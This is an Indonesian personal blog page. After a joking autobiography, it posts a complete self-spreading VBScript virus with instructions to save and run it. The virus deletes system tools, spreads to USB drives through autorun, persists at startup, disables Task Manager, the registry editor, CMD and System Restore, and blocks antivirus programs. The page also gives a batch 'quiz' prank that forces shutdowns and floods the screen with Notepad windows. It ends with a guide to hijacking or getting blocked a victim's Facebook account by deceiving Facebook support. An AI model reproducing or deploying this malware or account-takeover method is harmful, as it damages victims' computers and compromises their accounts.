Lahirnya Pria Tampan

Nama gw Irham Aulia. Lahir di bekasi 11 maret 1995 *ikutin akte :D. Lahir prematur karena nyokap gw dlu ngonsumsi Pil KaBeh~ tapi tetep aje gw brojol. Lahir dengan keturunan china berkulit putih pendek gendut belo. Yang sekarang malah jadi kebalikannya -_-. Dari kecil gw suka ngelakuin hal2 aneh. Apalagi kalo gw ngambek, RAMPAGE dirumah :D. Dlu gw cita2 jadi ABRI. Saking obsesinya, tiap orang yang make baju model abri / satpam gw langsung HORMATT GRAK! :hammer:. Dan cara gw dapetin apa yang gw pengen dari nyokap adalah ==> gelindingan di depan rumah :D. dlu kecil gw suka bantu nyokap ngepel teras. Kenapa? Gw sekalian maen aer :hammer:. Kata nyokap kelahiran gw nyusahin karena pala gw gede. nyangkut dah :D.
Pala gw yang gede ini nyangkut di rahim emak gw. Dan yak, hasilnya susah buat dikeluarin. Haha :D

OEEE OEEE OEE (Lo tau kan gimana bunyi bayi pas baru lahir). Dan akhirnya seorang anak ganteng berambut lurus putih gemuk telah lahir :D

11 Maret 1995 muncul seorang bayi bernama Irham Aulia lahir dan diberi panggilan Iyam. Lo semua bisa manggil gw BRADD PITT kok :D :hammer:

Virus baru lagi

Caranya, Buka Notepad > Copy Script di bawah > Simpan dengan format *vbs (jangan lupa di bagian save as type pilih all programs). Kalo mau Script ini bisa di edit.

Script:

'Irhamulil.dll.vbs

on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,che ck,sd
atr = "[autorun]"&vbcrlf&"shellexecute=WScript.exe Irham ulil.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
Fs.DeleteFile("C:/Windows/System32/regedt32.exe")
Fs.DeleteFile("C:/Windows/System32/cmd.exe")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
Loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\Flyff 666.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\Flyff 666.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\Flyff 666.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\Flyff 666.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\Flyff 666.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\Flyff 666.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersion\Run\User",winpath&"\Flyff 666.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by Flyff 666"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Explorer\Advanced\Hidden", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Explorer\Advanced\HideFileExt", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Explorer\Advanced\ShowSuperHidden", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Explorer\Advanced\SuperHidden", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\ActiveDesktop\NoChangingWallpa per", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\CleanShutdown", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\FaultTime", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoCDBurning", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoViewContextMenu", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoTrayContextMenu", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoWinKeys", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoDesktop", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoTrayContextMenu", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\Shutdown_Settings", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\System", "1", "REG_DWORD"
rg.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoDrives", "67108863", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableCMD", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\NoScrSavPage", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\NoDispCpl", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Program Manager\Restrictions\NoClose", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Program Manager\Restrictions\NoFileMenu", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Program Manager\Restrictions\NoRun", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Win dows\System\DisableCMD", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Policies\Explorer\NoLogOff", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Policies\Explorer\NoControlPanel", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Run\System Monitoring", "1", "REG_DWORD"
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Winlogon\LegalNoticeCaption", "Flyff 666 VM_Community"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Winlogon\LegalNoticeText", "Saya Adalah Program Jahat yang Mengambil Alih Komputer kalian !! dibuat Oleh Flyff 666"
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avscan.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avcenter.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashAvast.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ansav.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremoval.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremover.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nod32.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nod32kui.exe\Debugger",""
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Policies\System\LegalNoticeCaption", "H4x0r3d By Flyff 666"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Policies\System\LegalNoticeText", "Saya adalah virus jahat yang berguna untuk mengambil data data kalian dan merusaknya. Hacked by : IrhamUlil From Hacker Indonesia"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Wi ndows\Installer\LimitSystemRestoreCheckpointing", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Wi ndows\Installer\DisableMSI", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Wi ndows NT\SystemRestore\DisableSR", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Wi ndows NT\SystemRestore\DisableConfig", "1", "REG_DWORD"

if check <> 1 then
WScript.sleep 100000
end if
loop while check<>1
set sd = createobject("WScript.shell")
sd.run winpath & "\explorer.exe /e,/select, " & WScript.ScriptFullname

Virus berkedok QUIS

saya cuma share. mhon jangan di slah gunakan.
ini virus cumma membuat desktop mati..
bisa anda edit sendiri
1) buka dengan notepad
2) copy script dibawah
3) simpan dengan nama quis.bat

@echo off
title quiz hari ini :) by:Lilz Falcon
:menu
cls
echo Apa yang lo pertama liad?
pause
echo pilih yang mana:
echo 1. Hal Ga Jelas..
echo 2. FUCK DAMN!!
echo 3. Bomat
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 shutdown -s -t 45
if %input%==3 shutdown -s -t 60
msg * ea.. mampus
msg * ngaca dulu gih
msg * hayo loo.. fbnya kok begini?
msg * hayo2..
msg * pusing kan? makanya jangan banyak gaya..
msg * mampus dah...
msg * bukan salah gue ye
msg * salah lo sendiri buka neh virus..
msg * gue ga tanggung jwab
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Cara blokir facebook

kesel ma orang?
karena saya orang baik2.
saya kasih caranya.
neh cara kuno dan jelek.
maklumin aja.
makan waktu juga..

pertama2 lu bikin email baru. email apa pun. asal juga boleh..

masuk ke link disini
terus masuk ke sini
masukin email buatan lu tadi..
yang question pertama pilih yes
kedua pilih yes
masukin email fb korban
masukin nama sama tanggal lahir korban
trus masukin link korban

tar tunggu 2 hari.
ada email dari team facebook.
di reply aja ngomongnya "please help me"
tar kalo dah dibales lagi anda balas : "can i get my password?"

anda bisa mendapatkan password facebook korban.
kalo beruntung..
kalo ga beruntung paling diblokir doang fb korban

hhe..

*lebih baik menggunakan browser Google Chrome atau mozilla*